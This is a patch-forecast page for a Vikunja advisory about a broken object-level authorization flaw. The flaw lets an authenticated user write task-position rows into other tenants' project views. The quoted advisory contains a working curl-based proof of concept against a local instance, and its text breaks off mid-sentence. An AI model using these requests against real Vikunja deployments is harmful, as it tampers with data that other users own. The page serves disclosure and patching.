Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-91984 · GHSA-w39f-h553-h2mx

Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)

Risk score
40/100
CVSS
5.3 v4.0
Exploit chance (30 days)
0.3%
Published
9 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
The task-position endpoint authorizes only the task side of the write: TaskPosition.CanUpdate delegates to Task.CanUpdate (write access to the task's own project) and the request body's project_view_id is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user w…
Affected
code.vikunja.io/api (go) <= 2.5.0
Fix
Upgrade code.vikunja.io/api to 2.6.0 or later.
Exploitation
No known exploitation

Story map

Story map: code.vikunja.io/apiTHE FLAWSTHE FIXCVE-2026-91984Vikunja: Cross-tenanttask-position rows can beinjected into arbitrary…CVSS 5.3 · EPSS 0%CVE-2026-91972Vikunja: Every /api/v2pre-auth endpoint isunthrottled on a stock install…CVSS 8.7 · EPSS 1%CVE-2026-68581Vikunja: Link-share principalID collision allowscross-account API token…CVSS 8.1 · EPSS 0%CVE-2026-62376Vikunja: Plaintext storage ofpassword-reset/email-confirmtokens in database enables…CVSS 8.1 · EPSS 0%Upgrade code.vikunja.io/api2.4.0or later on your release lineWho is exposedcode.vikunja.io/api (go) <= 2.5.0AMBER · PATCH THIS WEEKcode.vikunja.io/apiregisterAPIRoutesV2 neverapplies the unconditionalpre-auth rate-limit floor(unauthRateLimit()) to the v2public routes — it passes thatlimiter only to /api/v2/ws — andotherwise relies on…Where it standsPublic proof of conceptCONNECTS TOSame weaknessAuthorisation bypass (CWE-639)244 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

code.vikunja.io/api: Amber, patch this week. registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth …

The flaws

  • CVE-2026-91984: Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2) (CVSS 5.3 · EPSS 0%)
  • CVE-2026-91972: Vikunja: Every /api/v2 pre-auth endpoint is unthrottled on a stock install while its /api/v1 twin is rate limited (CVSS 8.7 · EPSS 1%)
  • CVE-2026-68581: Vikunja: Link-share principal ID collision allows cross-account API token issuance and management (CVSS 8.1 · EPSS 0%)
  • CVE-2026-62376: Vikunja: Plaintext storage of password-reset/email-confirm tokens in database enables account takeover on DB read access (CVSS 8.1 · EPSS 0%)

The fix

Upgrade code.vikunja.io/api: 2.4.0 or later on your release line

Who is exposed: code.vikunja.io/api (go) <= 2.5.0

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 5.3 medium
  • On your watchlist: Go

Affected packages

PackageEcosystemVulnerableFixed in
code.vikunja.io/apigo<= 2.5.02.6.0

References

Original description

## Summary The task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task's own project) and the request body's `project_view_id` is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0. ## Details Affected endpoints (both verified): - v1: `POST /api/v1/tasks/{id}/position` - v2: `PUT /api/v2/tasks/{id}/position` Root cause in `pkg/models/task_position.go`: - `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` — i.e. the caller's write access to the task's own project. - `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task's project and no access check on the view's project. - `ProjectViewID` is body-bindable (`json:"project_view_id"`, no readOnly/param restriction, line 42). Contrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check. Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {"task_id": ..., "project_view_id": <victim view>, "position": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` → `CanRead` on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering. ## PoC Steps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance. 1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID: ``` curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"victim"}' # -> {"id":200,...} curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER" # -> [{"id":771,"view_kind":"kanban",...}, ...] # remember VIEW=771 ``` 2. Attacker creates their own project and a task in it: ``` curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"title":"attacker"}' # -> {"id":201,...} curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"title":"evil"}' # -> {"id":105,...} ``` 3. Baseline — attacker positions their task in their own view (succeeds, expected): ``` curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}' # -> 200 ``` 4. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever): ``` curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}' # -> 200 {"task_id":105,"project_view_id":771,"position":100} curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}' # -> 200 (v2 twin behaves identically) ``` 5. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing): ``` curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 1}' # -> 403 Forbidden ``` 6. Persistence proof — the cross-tenant row exists in the database: ``` docker exec <db> psql -U vikunja -d vikunja -t -A -c \ "SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;" # -> 105|100 (row for the attacker's task inside the victim's view namespace) ``` Observed result: steps 4 and 6 succeed — a `task_positions` row `(attacker_task, victim_view)` is created and persisted; step 5 is refused with 403. Note: `"position": 1` is above `MinPositionSpacing` (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact). ## Impact **Impact summary:** a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), ord

Last activity 9 Oct 2026. Patch Forecast updates every hour.